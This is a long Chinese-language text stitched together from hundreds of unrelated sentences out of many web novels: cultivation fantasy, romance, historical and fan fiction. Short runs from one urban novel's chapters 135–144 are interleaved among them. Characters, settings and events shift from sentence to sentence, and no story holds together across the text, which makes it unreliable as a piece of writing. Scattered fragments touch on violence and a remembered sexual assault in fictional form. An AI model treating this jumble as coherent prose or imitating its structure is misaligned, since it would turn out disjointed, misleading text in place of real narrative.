距离平冢静香来首都的日子只剩几天,而这段时间王明经常会接到她打来的电话,叽里咕噜的说一大堆。对于这个姑娘,王明也稍微有些了解了,两人今年开学后不久在配音上合作过一次。 以前一直都是董舒倩在主动,他被动地躲避,这次他想成为董舒倩那么勇敢的人。 漂亮的花形点亮了夜空,五栋楼和园林的沐浴在烟花之下,美仑美奂。 不过以叶南现在的境界,想要炼化极品灵器的战甲,却实有些勉强。 事实上木野部也不可能在地下埋伏太多的兵力。这种埋伏即便能取得一定的成效,也只是短时。一旦被对方发现,埋伏得越多也就损失得越多。所以他们只埋下一株腐陀罗便足矣。 “那你呢,您是先上去一步,还是等我们进的房间,你再找机会回来?”梦雪问道。 林轩鄙视的看了一眼王镇虚,然后将目光移到云山三人身上,露出笑容。 晚饭时,夏过已经得罪了那个二长老,而且夜深似乎有一种感觉,就是一直有人对夏过这一行人有着隐隐的敌意,却不知道是谁。 等到蓝东博话音落下,整个大厅都是为之一静,不过,只是一瞬间的工夫,在场的宾客们便是纷纷回过神来,然后齐声对着蓝东博恭贺起来。 芙蓉楼乃是贺家最大的秘密之一,纪东既然知道了这些,那就必须要除掉。 在此之前,他实在没想到,自己的朱雀法相居然给力到这等程度,无疑,这绝对是他此番最大的收获了,而这一刻,兽潮在他眼里,再也没有了任何的恐怖可言。 “见过主人!”邪魅白虎虽然不甘心像暗血老祖俯首称臣,可是他没得选择。 难道他成功了,走入了仙门,真的成了仙,达到了圣皇之上的境界? “你到底是谁?”南天郡王沉声道,声音中带上了些许凝重之色。 “不好意思,你们得跟我走一趟,我师父想要见你们。”凌天说道,五人一惊。 听到团藏的话语,莫邪失笑一声,也就是他们才会觉得这种方法高明而已了。 走进大门,二十一条路线入口已有十几个被标注不可进入的标签。 想到这里,已然连续受到莫邪的接受和拥抱,以及珍贵项链的三重冲击的雏田,即使想到她晕过去香包极有可能会被莫邪撕掉,亦是忍不住双眼呈蚊香状,呼吸一止,彻底昏晕了。 不过,没等救生员反应过来,边上的一条人影便已经迅速游到了baby的身下,一把抱住了对方的下身,将她拦腰抱起,托出了水面。 “不知此次拍卖会可是万宝师亲自主持。”齐玄易突然问道,当初在天魔大陆的拍卖会也是这位万宝师亲自主持,便是道君高手也得给几分薄面。 “前辈太抬举我了。”齐玄易有些反应不过来,仙体自然就是仙人的躯体,他可没有那么本事将一尊仙人躯体带出来。 “对不起。”回到了起始的位置,王主蓝对叶锋和窦消说道,而这个时候邓朝也是走了过来,给了王主蓝一个大大的拥抱。 把前世的科学知识和这个世界不可思议的力量融合,自然能够创造出同样匪夷所思的东西来。 这位自称来自其他宇宙,专门为了对抗黑色怪物而来的“托尼·斯塔克”从天而降,手里托着巨大的不明高科技球体,所过之处,所有黑色怪物都退避三尺。 寒暄完,还是要手头上见真章,双方都开始提升气机,蓄势待发。 “药物实验室。”冷林轩言简意赅,看着这实验室的眼睛放着微微的亮光,好似再看什么艺术品一样。 “李总,‘渊种’生物的这次逃窜出乎了我们的意料,不过,只要将它分裂出去的组织,都收起来,暂缓火星移民计划,除此之外,不会造成太大影响。”陈天宇教授判断道。 第一卷 第135章 长泡?喝水啊,败火。 唐若涵开口。 声音是前所未有的……冷静。 周美珊呼吸急促,胸脯起伏不定。 本想说什么,却被唐英豪一个凌厉的眼神制止。 “什么非要他的房子?我是想把事情办成,跟房子有什么关系!” “如果不是为了唐家,我才懒得理会那个穷小子!” “别问那么多了,你先看看我上面写的,现在就打电话。” “咯咯,咯咯……”后排的陈希妍已经被两人的话,笑得直不起腰来。 左雨晴曾经从特勤部北局基地安排过来组建攻略团的四名兵棋推演指挥官,王思诚、闫进等四人,以及培训、系统构建等人员,在完成抵御魔灵军团侵袭后就返回部队。 “没事,她已经脱离了生命危险了,不过就是肚子里的孩子没能保住!”杨怀平神色有些黯然道。 不过,他一张口嬉笑,她就否定了自己的想法,并严肃以为,便是他跟刘瑾长得一模一样,他也永远只是那个混不吝的少年公子哥儿。 这一番话说下来,苏子策观察白冉面上的神情,知道她仍旧没有彻底死心。 将树枝别在身后,想了想还是带着乾坤袋吧,万一用上了呢?装备妥当,对卫茆说道,你且在此地等我,不要乱动,我去去就回。 这下好了,所有人都要成为傀儡,生生世世都在这里生活下去了,什么地球和异宇宙的生存,在能死亡后复活这样的能力下,还有什么办法杀死对方的所有人? 孙权这次也算是为自己的很多新奇的想法和神奇的事情找到了一个还算可以说得过去的理由了,这样后世也就不会有人说他是什么都生而知之的,而是因为有很强大的情报组织的支持了。 裴几川望着眼前那个娇俏的背影,脑里突然出现一个荒诞的想法,如果她此时回头,那么我们之间就是有某种缘分,我这辈子一定要娶她为妻。 至于为什么会是游戏,仅仅只是因为作为被挑战一方的地球太弱,只是因为地球人相比异宇宙人更为熟悉游戏作为竞技,才能让地球有着那么一丁点可能的机会胜利。 会议共有两个议程,第一个议程是讨论解码讯息的真实及可靠性,并分析该讯息的危机等级。 只是走到门口,她忽然又停住了脚步,回过头朝着身后看了一眼。 可惜,现在为止,安妮都还没有获得任何一只异能兽的特殊能力。 容悦全程装傻当看不到他的存在,自己该干嘛就干嘛,开会,和同事讨论事情,接待客户。 苏苏虽然奇怪娆娆的针和她原来见过的老中医都不大一样,但是却聪明的选择了不问。 南漓慢悠悠的说着,缺氧似的她的脸色越来越苍白,眼角的细纹像是苏醒一般迅速的爬满了她的脸颊。 梦她们出现在南京这个城市,正处于大屠杀阶段的南京出现了她们几个衣着鲜艳的人,一下子引起了鬼子的注意。 然后,又对其他几人客气几句,酒席算是正式开始。还没等别人动筷他自己先吃了一遍。意思告诉众人,酒菜无毒,全部正常。 颜歌笑强忍着突发的痛苦,装作若无其事,很是平常的心态回应道。 听了颜歌笑安慰的话,刚还失落的雨梦妍,脸上如雨后的彩虹一样突然露出了笑容。 当即杨间就开始了最后的布署,让该进入安全屋的人进入安全屋,至于驭鬼者,现在的这个特殊时期谁敢出来搞我事情? 第一卷 第136章 不能用救护车。 张军抬起头,语调不紧不慢。 “周局,局里现在面对的困难,我也很清楚,可说到底,你也没有给出个解决方案来,即便想不到合适的办法,您的态度总得有吧?” 周局长一怔。 “什么态度?我的态度还不够明确?我都亲自去找你们了,而且举报的事情,我不也说得非常明白了吗?” 一旁,气喘吁吁的葬天帝也是一屁股坐在秦律的边上,微微摇头。 苏阳接过那张银行卡,随手放在车上,目光看向前方看不到尽头的马路。 傅时今随手拿起遥控器,关上电视,俯下身抱起许喃知,她挽着他的脖子。 盛朝和宋楚欢就没这么正常了,宋楚欢和盛朝延续了之前的欢喜冤家,但是又带点腻歪,杨寻真的受不了了。 他并不是只擅长计谋,若是计谋不管用的话,他的长刀未尝不利。 挂断电话,夏宝儿盯着夏漾漾看,她刚刚的话就是说给夏漾漾听的,哪怕她睡了也得听着,她不能接受自己的身份被她夺走,难道她又愿意把现如今的身份还给她? 之所以还没有断开耳机的链接,就是想着,能不能够侥幸耳机没被发现,然后偷听到一些关键的信息。 此事霜儿也很好奇,不过等她爬上屋顶之后,掀开一片瓦砾,便亲眼瞧见了。 “如果河里的是谢思凝的话,刚才给我打电话的又是谁?”冯玉漱的声音微微颤抖,那个恐怖的可能性令她毛骨悚然。 虽然他没从苏阳的面具上找出什么问题,但原来他的那个面具肯定是看不见的。 粉丝的呼声,观众的质疑等等都是他们手里的剑,用舆论逼迫你就范。 “我没事。”千反田露出一丝勉强的笑容摇摇头道,只是她那苍白的脸色实在是没什么说服力。 萧玉舟反驳道:“就算基延技术成功使得人类寿命延长几百年,但是这样会导致更严重的生存危机还要种族危机。 经过廖青儿的讲述,钟南才明白了事情的来龙去脉,同时对何姑娘的认识,又多了不少。 “福伯,不要慌!你先和我一起去宴会厅,随后再去把胡队长找来!”秋香经历了那么多的事情,又在马家有过多年的管事经验,这些历练在此时终于发挥了作用——她沉着地发号施令,让钟府上下有了主心骨。 身为主人的部长和会长也在说着‘真是辛苦’‘你那边也是呢’并叹息着。 “好像……是我们在东昌吃了败仗之后吧。”廖青儿回想了一下,不过还是不敢确定。 枫景一愣,他看着褚严担忧的模样,再顺着他的目光看向尹伊便知道他误会了。 “老大,具体的我们都不清楚。是兵部来人去了钟府,没找到您,夫人才让人到处寻您。”胡焕山答道。 “羽神族并非天地叛族,其中另有隐情,真正的天地叛族是天神族、暗神族等,你们应该静下心来联合推演一番当初的诡异!”君夜出声解释。 刚恰,顾白去了洗手间,程海安吃着东西,看到陆一琛的电话后,接了。 叶陌对着李锐下盘踢出几脚,暂时逼开了李锐,自己也急急后退两步拉开距离。趁着李锐还没再靠近的一点点时间,他蹬下了脚上的运动鞋,弯腰把鞋套在了手上。 这首歌对于康时福来说,乃是每次唱歌必点之歌,康时福对这首歌可以说是熟的不能再熟。 第一卷 第137章 你们……怎么来了? “不好意思,安医生,我接个电话。” 掏出手机后,林泽歉意地看向安然。 “没事,你忙你的,刚才不是说,打算两天以后才动身吗,时间来得及。” 安然脸上露出轻柔的笑容。 林泽点点头,这才转身离开。 电话是张军打来的。 刚一接通。 林泽还没开口,张军懒洋洋的声音便传过来。 但失之东隅,收之桑榆,格拉西亚家族历代传承的板甲锻造技艺,反而愈发精湛和知名。 但让众人诧异的是,他们尽皆没有感知到和一护对战存在的灵压。 喜的自然是对方来到了公司总部,那么之前自己挨的那顿打,也总算是有了报复的机会。 不死川实弥身上围绕着大量旋转的巨大风刃,当头就向牧野绞下,就如同旋转碾压磨盘一般。 四周郁郁葱葱的树木林立密布,粗壮者更是树冠如盖,两人难以合抱,虽然地面也有落叶覆了一层,但景象反而像是初秋时分。 然后他发现,他的境界没有变化,但对天地之势的感应更加地敏锐,同时肉身强度似乎增加了不少,仅此而已。 张瑧觉得他用“蹭”字很形象,因为大个水元素就是用身体来回摩擦石头。 见陈信这般模样,厉无邪咬了咬牙,浑然是没有将之前陈信的警告放在眼里,直接伸手一指,指向了身形。 一处秘境居然吸引了至尊到来,可想而知这是一个什么样的秘境了。 这一指当中包含了戮剑道的精髓,因此青年身躯马上定在了原地。 但平静总觉得,他家老爷子对于张天毅是忌惮的。不然行业里出了名的果断人物,这一次没理由这么纠结。他想了想,沿着楼梯也走了下去。准备去亲眼看一看,张天毅到底是个什么样子的人。 “没有男朋友和没有男人,是两个问题!”连夕若美眸中闪过一丝苦涩,她不禁回想起自己失贞的瞬间。迷迷朦朦中感觉到的热吻与抚摸,以及,让她这辈子都无法忘记的撕裂痛楚。 一家私营的连锁银行,手里能放出来的钱就达到了几十亿。这个社会病态的地方就在这里,从收入上你永远看不到钱,从存贷款上似乎又有着数也数不清的钱财。 只是他现在动一下手脚都感觉很吃力,那就更别提用这副身体去对付外面的赤阳仙君他们了。 老虎对于围棋有天生的痴爱,并且很有天分,曾经参与过当年令“棋圣”聂卫平一战成名的中日围棋擂台赛。如果不是最后转入盗墓、游侠这一行,他完全有可能成为跟聂、马齐名的专业棋手。 “你跟这江公子怎么认识的?”杨宁素好奇道,杨家的最大对手是谁还不知道是这位江干戈地爷爷。 “世子爷,五六千土匪算什么?雅州乱民上万,还不是被我们全部消灭光!我们现在换了铁枪、钢刀,班长以上还发了铁甲皮甲,我们不怕他们!”魏辰信心满满,士兵们也是大声附和。 凌峰蓦地一声冷喝,脸上换上一副肃杀表情:“我也不过分为难你,只要日后你玄元宗不得出售任何晶章,今日之事便就此揭过”。 遍观修真界、仙界、神界等各界,根本就没有一个阵法叫做抓鳖阵,项如也就是布置出来了一个仙阵,然后胡乱的给仙阵按了一个名字,借此来嘲讽不知死活的云中派。 第一卷 第138章 这钱……烫手。 “林泽,听小张说,老人家正在这里住院,刚好我们今天有空,过来看看。” 说着,没等林泽邀请,周局长已经向前走了一步。 伸手在林泽的肩膀上拍了拍,语重心长地又补充了一句。 “林泽啊,你可真是一个孝顺的孩子。” 身后。 不等辰风解释,男人激动地举起斧子向他们冲去,心悦从床底迅速伸出一条腿。 正厅里放着几组沙发,上面铺着软和的垫子,坐上去的时候特别舒服。 虽然她不能心安理得的占据不属于自己的爱,也已经决定不会跟凌霄在一起。 当初她备考这最后一科的时候、正好赶上他们处于热恋中,他是从头到尾督促着她学习的,当然了,她是不用被监督的、她自己本来就是一个奋发向上的人。 她的确听范老师的意思,要开设生物工程的研究生,并接到他的暗示,他想收她做学生。 即使奶奶看不见,苏半夏依旧跪了下来,恭恭敬敬的朝着奶奶磕了三个响头。 苏星第一天工作,其实有些不适应,再加同事的故意刁难,让她感觉很累。 不多时,医生和护士就到了,简单说明情况之后,便推着庞月瓣去做检查。 舒适温暖的贵宾双人大房,白色的蕾丝纱帘被风的吹拂微微卷开一角。 “我要阻止我师弟,去找麒麟,剑岂是儿戏,我不能让他去。”旋风甩开雅尔的手掌。 裴夫人一句话说出了姜时愿心中所想,她点点,对于来年的四月也是期盼的很。 原本李龙的意思,那水老鼠是他网上来的,就该陶大强带走,但陶大强坚决不要,说是用李家的网网的。他能拿到鱼已经很感谢李家了。 他原本就是西京城中有些声誉的俊朗男子,如今自然是引起些注意的,他倒是不避讳,径直就去到了赵家两位姑娘面前,虽然行礼规矩有度,但眼神中恨不能擦出些火花的样子,就这么落在了姜时愿的眼中。 “别紧张,我只是随口问。”乔柯尴尬的开口,见颜楚将盛夏护在身后,乔柯很想指责他,早赶什么了?他若是一直这么护着盛夏,会发生这种事吗?盛夏会流产吗? 盖聂见江洋如此谦虚,也很高兴,而且盖聂也只是传授了他一些剑法,要说指点盖聂,恐怕还不够资格。这番话,不过是在警告江洋而已。江洋身为太子,最重要的就是掌握皇权。 “本来还想多睡会儿呢,唉!”杨岩也是无奈地说了句,随即起身下床。 只是为什么柯星臣明明知晓司马玉安已有心上人,却还是要让灵蕴相看此人呢? 但二人却并未在刚刚的那场合出现,却在这里遇见了,因此只能说明一件事,这裴子添是使故意躲着他们的,只是这故意为之里头是究竟适是不想与兄弟们起争执,还是真的有要事耽搁,那就是不得而知了。 然而,当其来到楚清尘面前时却发现,两人的穿着打扮实在是不搭,一个西装革履,一个运动休闲,看起来就让人忍俊不禁。 一张黑色的披风出现在叶苍背后,黑色披风并不是布形成的,看着如同烟雾。 仅仅是一份牛排,就达到了如此效果,如果将前世地球上的各种影视娱乐,美食科技,全都在这个世界普及。 第一卷 第139章 吴庸的算盘珠子。 吴庸在电话里说了,有些话,点到即可。 唐若涵非常聪明,如果一直帮着他说好话,弄不好,会适得其反。 真若是被拆穿,那之前的铺垫可就白忙活了。 可唐若涵一直不说话,王静还是有些不放心。 “唐总,接下来的业务咱们怎么安排?李总他们那边……” “您上次说,李总是个大客户,要是把人给得罪了……” 杨若风脸色难看,这一次域外天魔突兀出现,华夏要如何应对呢?他不知道,同时也对华夏没有信心。 “吓唬!怎么吓唬?难道还真要去上吊投水?”贾千千无奈的一撅嘴,那可不是她贾千千真做得出来的事。 突然,伴随着一道略显仓促的声音响起,一张俊美无比的脸庞都跑出现在了他的眼前。 最后一个字落下的瞬间,他的神色又变得温和了起来。但其中森然冷意却让所有人打了一个冷颤,此人的喜怒无常,情绪的瞬息万变,让所有人都有一种窒息的感觉。 并非是因为李计朋的身份,担心打了李家的人,会遭到李家的报复,而是因为王俪萤的身份。 林东海与段振林的感情,已经到了很铁的地步,他这次调动,能不叫上林东海? 随即水寒已经跳往对方背后,他的两把枪负责六个位置,让赌少华打两个位置,黄毅辰,赌二丫各自负责一个。 也就更加坚定梁老先生要把这首歌当做主题曲的心思,以及钱宝想要得到这首歌的决心。 “我那个墨竹对你挺不一般,对待初恋的态度。”乐采薇语气慵懒,淡淡而道。 走在走廊上,罗夏进入到潜行状态,他眯着眼,心中想到,希望楼上的年轻人们不要遇到最后的“凯恩”。 “二少爷有话便问,奴婢定会如实相告。”红烛低着头,紧张得脸颊都红通通的,这让正好赶过来的少夫人到了。 姜璃只觉得自己眼前一片漆黑,念力无法探知,魂力无法驱动,没有任何感觉,就好像被封闭在一个黑漆漆的箱子里,感知不到外界的一切。 “老师”两个字说出来,可见她对郑锐的创作能力是由衷的佩服。 一一不太喜欢这样亲昵的举动,她坐在娘亲的腿上不自在地扭了扭身子。 我这不是为了追你师父嘛,想把你师父变成你娘亲,我可是一直都在努力着呢。 北奴的军营也有军妓,不过长相都没这个叫二娘的好看,柳二娘感觉这一路那些士兵们火辣辣的目光盯得他全身的鸡皮疙瘩都能生崽了。 仓促应对。加上实力差距。十几位神王境界的高手,全部当场死亡。 三个娘门哪里见过此等手段,刹那间脸色皆灰,蓉妃寒气倒抽,哀嚎了一声,就这么给晕死了过去。 认主是非常简单的,滴上一滴带着魂力精血就行了,不值得多赘述,可裂天镰却不愿意沉入易峰体内。 鉴定失败……这结果,楚衣疑惑加郁闷中,鉴定术的阶位似乎得好好练练了。 叶青篱知道五行台的传说,但她从来就没想过自己能够进入这个传说当中。 这只铁鞭虎除了尾巴,身长至少达到了三米,比普通的虎类大了差点一倍,四肢粗壮有力,四个脚掌比碗口还要大,弯钩形的爪尖,至少有四厘米长,闪烁着油亮的金属光泽。 梁秋儿,看到对方施展出恐怖的剑压,居高临下,狠扫下来,她立即怒喝一声,施展出第二招“风云变幻”,人,剑,气,意,四合一,只看到一丝气流,似风轻轻吹过,又似白云飘过,一瞬间,不见了踪影。 第一卷 第140章 这么快就过上了? “要不,还是别做了吧?” 唐若涵不好意思将话说得太明白。 公司里有大把的事情需要去处理,他不能把时间浪费在吃饭上。 光是炖一个汤就要两个小时,如果再做其他的菜,再加上吃饭的时间,那…… 一想到这些。 唐若涵心中便莫名的焦躁。 羊符咒之力全力启动!强大的灵魂之力透身而出,将面前的灵魂体回归到充满生机却没有灵魂的身躯之中。 可是这木灵珠手串入手后,只是捻动了几下,这股清凉之意,便如同水流一般,将钱富原本已经灼热的有些干燥的心神浸润的舒展温润。 她算的上是一个完美的零件,在任何的下忍队伍当中,她都能够适应。 此消息一出,顿时引起了所有粉丝及媒体的强烈关注。粉丝是期待,媒体记者却发现了其中不一样的地方。因为这则消息说的是,发布的回归歌曲,是主打歌曲。这让记者们起了疑问。 幸存的一千多名东方联军猛的回过神來,一个个状若疯狂的冲向东方谋。 “一阳你看,天鸿在那边!”眼尖的雪雁进去之后,立马就发现了天鸿的位置。 在上了高速后,直接调头向着位于五大湖的繁华都市芝加哥行驶而去。 在离开的时候,身上空空的王羽本来准备向迪恩借点钱,解决一下燃眉之急,却没想到这家伙身上也没带多少钱。 李安自从学会了爬以后,是很少要李勋和李晓茹抱的。这不,李晓茹才抱了他几分钟,他就挣扎着要下去了。李晓茹无奈,只能把李安放在他的专用地毯上面,任他在里面爬。 这么多公司都有这奴隶合约的存在,曝光之后,有关部门必然不会坐视不管,该强制要求整改合约的,必然不会放过,对于那种对艺人剥削严重的,该处罚还是要处罚的。所以洪胜成才会知会提醒一下朴振英。 当然,最重要的原因是祖龙的状态不好,无法发挥出巅峰战力,最后眼睁睁看着两位神王陨落。 桑锦月在金豆的房间照顾了他一会儿,见他服了醒酒丸气息平稳多了,就让玉冰留下照顾他,她则回了明月苑。 好了,我也就不多说了,这段时间谢谢大家的照顾和信任,无论今后如何,你们永远都是我最爱的人!你们永远都是我最重要的伙伴。 爷爷的一句话让他的手抖了一下,嘴角抽了抽,没有言语,桑锦月看见他的表情顿时忍不住的笑了起来,怕吵醒儿子,不敢大声笑,只能捂着嘴笑。 毕竟他的修为太低,无论二十四星相大阵如何精妙,也不可能与天位境强者布置的阵法威力更大。 “尚未涅槃也敢跟本尊一较高低,找死!”说完双手挥舞,一道魔力阻止九味真火的同时闪身避让。 丘力居通过多方的询问,判断了何白所说是真,于是又决定派出使者亲与刘虞商谈。等得到了确实的消息后,就斩杀张举,并放开重围,任由公孙瓒离去。 要说他们三人中最恨古斯雷特父子的,应当是比尔。作为黑人,他想出人头地,最好的办法就是上大学,然后找一份好工作。当然现在的他已经过得也许比当初上了大学要更好一些。但他的怨念也不会减少。 正当长空陷入修行之际一种压迫的感觉却油然而生,这仿佛是来至于生命等级上的压迫,随着压迫感的到来沼泽表面之上居然开始荡漾起一种水里才有的涟漪。 第一卷 第141章 齁咸齁咸的……毒鸡汤! 苏晴想列举事实,胳膊却被唐若涵一把抓住。 几秒钟内,再次被警告。 “不许胡说八道!” 苏晴翻了个白眼,踮踮脚尖,乖乖地跟着唐若涵往前走。 “你们做了什么好吃的?我过来的真是时候,赶上饭点了。” 吴庸拿着筷子的手,关节都开始泛白。 认识到自己的不足,袁三爷开足了马力要练习举鼎,幸好,因为人数太多,收徒大典要连开几天,为她争取到了一点时间。由于不能让丹霞宗的人知道她不会,所以特聘狗剩为她的指导老师。 原来,廖兮方才竟然是一瞬间怒龙破天已经施展到了极限,今天是一下子提升了十点武力值,顿时武力值提升到一百零五点,顿时突然的巨力让曹彬给跪了。 材料厨房都已经给她准备好了,所以景桐只花了不到十分钟就做好了一碗酱,浇在面上端了出去,放在江煜的面前。 黎以念靠墙而立,脸上没有丝毫的血色。她的双手用力的攥紧,指甲几乎把手心掐出了血。 那双黑眸一如既往地漆黑灼热,让她避无可避,于是倾儿忽然意识到,他不是在开玩笑。 这一下,就连楚蒹葭也有些拿不准,他们是不是真的有办法,找到苏婶等人了。 刚才赵衍答应了福州知府的邀请,晚上会带着杜菀儿一起去赴宴。 “是马甲的人马,还有就是龙军,那是老宫主留个少主的秘密部队。”少华出口说道。 礼堂是经过精心布置的,红毯上面洒满了玫瑰花,就连上方,挂着彩色的荧光气球组成了心的模样。 花庄贤一摆手,炮哥当即背起了卓一男,在老尿和大柱的跟随下,火速的跑了开去。 孙老爷子满脸的笑意,慢慢的将鱼儿摘下来,在孙思明的帮助下,放入了水桶之中,淡笑着开口。 消息发出之后,她立马就后悔了。她并不是后悔发出的这句话——现在立马撤回还来得及——她后悔的是回复时间太过于漫长了,这就如同在向对方展示了自己的犹豫,这种犹豫正是对曲娉婷那句问话最好的肯定回答。 土杰骂道“你大爷的,现如今囚犯都吃着海鲜,我们俩却在这吃猪狗都不愿意吃的东西,真是人比人气死人。”土杰这回出来走的匆忙根本没带多少钱,所以两人只得紧衣缩食。 “学弟为何道歉?”闻言,梦境玉学姐瞟了穆月芸学姐一眼,然后道。 不过可以肯定的是,就是这个东西,一直护住了张远志家里上百年。 赤红铠甲的逊扈似乎对林空雪很不满意,到了此刻都不忘打击他一下。 许久之后,她缓缓拂拭干净一座石墩,沉稳地坐了下来。风雨之声,电闪雷鸣于此刻都静止消失,只剩下她的身影,像是永恒的道源,再也无法看清她的面容了。 曲娉婷脸上的神情软化了一些,点了点头,说了声“好”之后,重新拿起了喝了一半的羹汤一口气地喝完了,接着抄起筷子夹了两撮蟹黄炒年糕塞进口中。 不过许以这样的重诺,可以推测出巫巢的变故并不简单,进去的人至少要死去九成,甚至可能会全军覆没,不然巫族不会花这么大的代价来。巫族为了后代子弟真是舍得,让几乎所有修士开始为之心动。 第一卷 第142章 我有个想法,你要不要听听? 放好盘子,吴庸迅速按下接听键。 “唐伯父,您……有什么事吗?” 吴庸心情激动,语气忐忑不安。 唐英豪。 竟然主动给自己打电话了! 虽然不知是福是祸,可仅凭着这一份主动,足以让吴庸心情喜悦万分。 “你在哪,出来见一面。” “唐伯父,我……”吴庸喉结微动,语气更加小心,“您有事吗?” 问话间。 夏俐俐和秦洛兰两人离开之后,郑炫妤便收敛笑容,沉默了下来。 像是食量超大的暴食又或者大胃王这一类,当然就是一般向的情况,另外,也有专门钟情于某种特别的,无论如何看上去都不像是可以作为主食的食物——比如鲷鱼烧——的类型。 但是无论哪一种,秦明若是告到陶院长那里去,最后吃亏的肯定是自己。 袁立闻刚刚升任情报部副部长,威望稍显不足,急于要立功来证明自己的能力,听了这件事情他大喜过望。 “不,琳儿,你听我解释……”高大同头上的汗都下来了,打死他也没有想到秦明会这么直接了当的说出来,心中彻底大乱,惊慌失措的看着俏脸寒霜的高琳。 与此同时,一股奇异波动出现,一瞬间在整座大灭星塔第三层来回振荡了一百次,几乎所有第三世界永恒神灵全都被打得身体崩溃,神格振荡,神魂昏迷。 过了一会,艾斯特突然转头看向希露达,伸手抱住了她的手臂,来回摇动着说道。 浩天仙尊嘴角微微抽搐起来,过了片刻,他突然腾空而起,化作一点流星急速向远方飞射而去。 罗岚一剑劈在空处,发现身在一片昏黄色的空间之中,这空间除了无穷无尽的黄昏之光,什么都没有,没有位面,没有星空,甚至也感觉不到尽头。 现在47坐在七国权力的王座之上,看着命运罗盘的方向,心想当自己努力完成一个任务的时候,信仰力场似乎并不会有动静,它似乎也有智慧也会懂得等待。 然而,等了片刻除了被她抓住不放以外,没听到她一句话,他恼火的转身怒视着她,可见到她咬着唇闷哭不止的样子,他炸起的怒火就像被那些泪水浇灭了似的,什么火都没有了。 不过今日的姬百洌特别殷勤,自己先披了一件外袍就开始为她穿衣,还是他亲自去衣柜里挑选的花色和式样。 不过,对付朱博源可以不留手,对付穆永学,却不能赶尽杀绝,毕竟做得过了,兴许大家就去同情穆永学了,还会连累了穆琼。 “谢二哥。”穆琼倒是没有不高兴,不过是一个称呼而已,他并不在意。 大卫变化最大,此时他脸上春风得意早已消失不见,取而代之的是惊疑的凝重,他确信暴风坠切在了大狐狸的关键位置,并且将其重伤,虽不致死,但绝对施展不出如此恐怖的能力。 万圣龙王许是喝了酒的关系,谈兴颇浓,说自己曾是西海中的龙族,和西海龙王,还沾亲带故,来到这儿后,千年打拼,方才有碧波潭这份基业。 李健真没想到,爱丽丝那直逼红色的感知力,竟然会用在这样的地方。 “诶?泉水姐今年回老家过年了吗?好羡慕呀!”广末凉子有些遗憾的撅起了嘴唇,一方面是因为坂井泉水没有来参加聚会,而另一方面确实也如她所说的那样,她在羡慕坂井泉水能够回家过年。 第一卷 第143章 砸那么多钱,他们该上场了! “伯父,您有什么话尽管说,我洗耳恭听。” 吴庸尽量保持平静,可心里早已经乐开了花。 不管唐英豪接下来要说什么,他都会恭敬地听完。 要知道。 从认识唐若涵到现在,吴庸从未见过唐英豪这种状态。 他能够心平气和地坐在对面,本身就是一种放低姿态的表现。 既然如此,自己为何不配合下去? 陈麟不敢继续动手,陶华此时正处于崩溃边缘,要是这个线崩了,也就别打算问之后的事。 突然的热情让李凌有些不适应,没想到自己的名声都传到宙域了。 碗里的每一粒灵米他都会吃干净,现在既然动手而且还弄死了对方一个,有机会的话,江川自然不会错过对方的储物袋。 之后安瑾宸亲自开车,带着向暖和唐茵茵到了林蔓举行演唱会的体育场。 “没有?我刚接到电话,车下边的手机卡是哪来的,天上掉下来的?还嘴犟!”盛家源一扯领脖,松开抓头发的手,一枪托砸向翠美嘴上,顿时鲜血如注,翠美委顿在地。 这套军阵就像一个箭头,头部的士兵使用强力的破阵武器,例如甩锤,重刀等等。 可就在向家破产后,她所有的联系方式都被苏蜜删掉了,世态炎凉,她懂。 这三个门派的人,心中焦急,却一时也不敢再派自己的弟子进去,只能够是强行让一位来到这里之后招收的弟子进去。 王震已经想好,等集合旧部后,便要让部下知道孙子的存在,他们还要为下一任英国公做事。 那一团浪,在剑尖下,瞬间炸开,像是被针刺的气球一样,而这气球之中又是装满了水,水中仍然有别的东西。 当日,美杜莎等人并没有死去。而是被魂殿毁了身体之后,把灵魂抓入了冥界,为冥界办事。毕竟,冥界抓他们那种有潜力的强者,目的就是为了天地局。 众人看到,宋洁突然发出一声惨叫,全身颤抖,然后,宋洁竟然悬浮在空中,而且是双臂抱着膝盖蜷缩,低着头,仿佛在承受无尽的痛苦。 两人都是亲法投降派的主要首脑,1年多来,他们在各类公众场合,受尽普通民众的奚落;也不获得法国占领军的尊重,后者只拿他俩当做榨取里亚尔财富的工具,但在这场商务酒会上,却意外得到赫鲁纳当权者的敬意。 对于国际投资来说,他们往往喜欢那些币值被低估的国家,就像现在的华夏,以及过去的日本。 “走海路?怕是不安全吧,为什么不走陆路?”柳治平疑惑的问道。 这意味着从1810年5月开始,在整个欧洲大陆,愿意公开或半公开输入英国产品的国家或地区,仅有葡萄牙王国、俄罗斯帝国与加泰罗尼亚地区。葡萄牙身处战『乱』之中,只能靠英国无偿输血,才能勉强维持下来。 各国的公使轻轻的喧嚣起来史马特帝国难道是这次被打怕了么?居然在大庭广众之下给沙格鲁以如此高的崇敬? “路西法,我们也要出发了,再不行动,他们如果退出的话,我们可就得不偿失了!”这个时候,痛苦领主-梅斯珐罗着急地说道。 方天风向乔婷走去,他本来想租船,可想到乔婷挺怕坐船,就准备只钓鱼。 “对了,你把墨夷长老弄哪里了?”白如花忽然想起他,很无辜的仙士。 第一卷 第144章 祖训?我去你的吧! 林泽一怔,随即摇头。 “没有,有事?” “没,我就想着,南希那么喜欢你,明天同学聚会,还以为她会早早的跟你联系。” 脑海当中闪过南希的面孔,林泽目光变得温柔起来。 南希真的很不错。 人长得漂亮,又热心,跟她在一起,林泽总能感觉到前所未有的宁静。 他太清楚这里面的意义了,这意味着五到十年后,这两人就是六阶战士,九洲中流砥柱。 据管事交代,老许确实只去过赌//坊一次,但那日他输了很多钱,在赌坊借了一千两银子之后又输掉了。 伏命微微挑眉,照这么说,这东西还是一个类似于充电宝的东西了。 张一恒瞥见波子意还杵着没有下去的意思,抬头看着后者,也不说话了。 张一恒这么说,往轻了说,以次充好。往重了说,那就是挂羊头卖狗肉。 外面那帮吃瓜的一个个看的眼睛放光,似乎好像不认识吕涛一般。 路嫚嫚听明白了,这个邱姑娘的祖父,应该是个穿越而来的整形医生。 “没事没事,老骨头正好活动活动。”田守义并未起身,以他三阶制卡师的身份,大川城有资格让他起身的人不多。 路嫚琳就这样托着腮在旁边看着某人睡觉,连画乌龟的事情都忘了。 秦若知道樱花宫里没有男人,自己跟着不行,即便是跟着雅子也不行,所以打算在外边放风。 拿枪放哨的是一个金发白人大汉,此时见赵铸忽然出现,立马将枪口对准他。 “叫我川岛芳子就好。”川岛芳子不愿让人叫自己的中国名字,然后对着董磊微微一笑算是认识了。 随着药水入体,全世界有幸看到这一幕的“观众”们,个个都变得紧张起来。 